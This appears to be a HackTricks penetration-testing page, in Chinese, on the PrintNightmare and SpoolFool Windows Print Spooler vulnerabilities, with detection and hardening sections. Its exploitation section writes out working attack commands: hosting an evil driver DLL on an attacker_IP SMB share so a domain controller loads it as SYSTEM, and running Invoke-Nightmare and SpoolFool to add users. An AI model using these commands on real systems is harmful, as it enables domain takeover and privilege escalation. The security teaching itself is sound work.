PrintNightmare (Windows Print Spooler RCE/LPE)

Reading time: 7 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

PrintNightmare 是一个集合名称,指的是 Windows Print Spooler 服务中的一系列漏洞,这些漏洞允许 以 SYSTEM 身份执行任意代码,并且当打印机后台处理程序可以通过 RPC 访问时,在域控制器和文件服务器上进行远程代码执行 (RCE)。最广泛利用的 CVE 是 CVE-2021-1675(最初被归类为 LPE)和 CVE-2021-34527(完全 RCE)。后续问题如 CVE-2021-34481 (“Point & Print”)CVE-2022-21999 (“SpoolFool”) 证明攻击面仍远未关闭。


1. 易受攻击的组件与 CVE

年份CVE简称原语备注
2021CVE-2021-1675“PrintNightmare #1”LPE在 2021 年 6 月的 CU 中修补,但被 CVE-2021-34527 绕过
2021CVE-2021-34527“PrintNightmare”RCE/LPEAddPrinterDriverEx 允许经过身份验证的用户从远程共享加载驱动程序 DLL
2021CVE-2021-34481“Point & Print”LPE非管理员用户安装未签名驱动程序
2022CVE-2022-21999“SpoolFool”LPE任意目录创建 → DLL 植入 – 在 2021 年补丁后有效

它们都利用了 MS-RPRN / MS-PAR RPC 方法RpcAddPrinterDriverRpcAddPrinterDriverExRpcAsyncAddPrinterDriver)或 Point & Print 内部的信任关系。

2. 利用技术

2.1 远程域控制器妥协 (CVE-2021-34527)

经过身份验证但 非特权 的域用户可以通过以下方式在远程打印后台处理程序(通常是 DC)上以 NT AUTHORITY\SYSTEM 身份运行任意 DLL:

powershell
# 1. Host malicious driver DLL on a share the victim can reach
impacket-smbserver share ./evil_driver/ -smb2support

# 2. Use a PoC to call RpcAddPrinterDriverEx
python3 CVE-2021-1675.py victim_DC.domain.local  'DOMAIN/user:Password!' \
-f \
'\\attacker_IP\share\evil.dll'

流行的 PoC 包括 CVE-2021-1675.py (Python/Impacket)、SharpPrintNightmare.exe (C#) 和 Benjamin Delpy 的 misc::printnightmare / lsa::addsid 模块在 mimikatz 中。

2.2 本地权限提升(任何支持的 Windows,2021-2024)

相同的 API 可以 本地 调用,从 C:\Windows\System32\spool\drivers\x64\3\ 加载驱动程序并获得 SYSTEM 权限:

powershell
Import-Module .\Invoke-Nightmare.ps1
Invoke-Nightmare -NewUser hacker -NewPassword P@ssw0rd!

2.3 SpoolFool (CVE-2022-21999) – 绕过 2021 修复

Microsoft 的 2021 补丁阻止了远程驱动程序加载,但并未加强目录权限。SpoolFool 利用 SpoolDirectory 参数在 C:\Windows\System32\spool\drivers\ 下创建任意目录,放置一个有效负载 DLL,并强制打印机后台处理程序加载它:

powershell
# Binary version (local exploit)
SpoolFool.exe -dll add_user.dll

# PowerShell wrapper
Import-Module .\SpoolFool.ps1 ; Invoke-SpoolFool -dll add_user.dll

漏洞在完全修补的 Windows 7 → Windows 11 和 Server 2012R2 → 2022 上有效,更新截止到 2022 年 2 月


3. 检测与狩猎

  • 事件日志 – 启用 Microsoft-Windows-PrintService/OperationalAdmin 通道,监视 事件 ID 808 “打印后台处理程序未能加载插件模块” 或 RpcAddPrinterDriverEx 消息。
  • Sysmon事件 ID 7 (图像加载) 或 11/23 (文件写入/删除) 在 C:\Windows\System32\spool\drivers\* 中,当父进程为 spoolsv.exe 时。
  • 进程血统 – 每当 spoolsv.exe 生成 cmd.exerundll32.exe、PowerShell 或任何未签名的二进制文件时发出警报。

4. 缓解与加固

  1. 打补丁! – 在每个安装了打印后台处理程序服务的 Windows 主机上应用最新的累积更新。
  2. 在不需要的地方禁用后台处理程序,特别是在域控制器上:
powershell
Stop-Service Spooler -Force
Set-Service Spooler -StartupType Disabled
  1. 阻止远程连接,同时仍允许本地打印 – 组策略:计算机配置 → 管理模板 → 打印机 → 允许打印后台处理程序接受客户端连接 = 禁用
  2. 限制点和打印,使只有管理员可以添加驱动程序,通过设置注册表值:
cmd
reg add "HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint" \
/v RestrictDriverInstallationToAdministrators /t REG_DWORD /d 1 /f

详细指导见 Microsoft KB5005652


5. 相关研究 / 工具

  • mimikatz printnightmare 模块
  • SharpPrintNightmare (C#) / Invoke-Nightmare (PowerShell)
  • SpoolFool 漏洞及其分析
  • 0patch 微补丁用于 SpoolFool 和其他后台处理程序漏洞

更多阅读(外部): 查看 2024 年的博客文章 – 理解 PrintNightmare 漏洞

参考文献

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks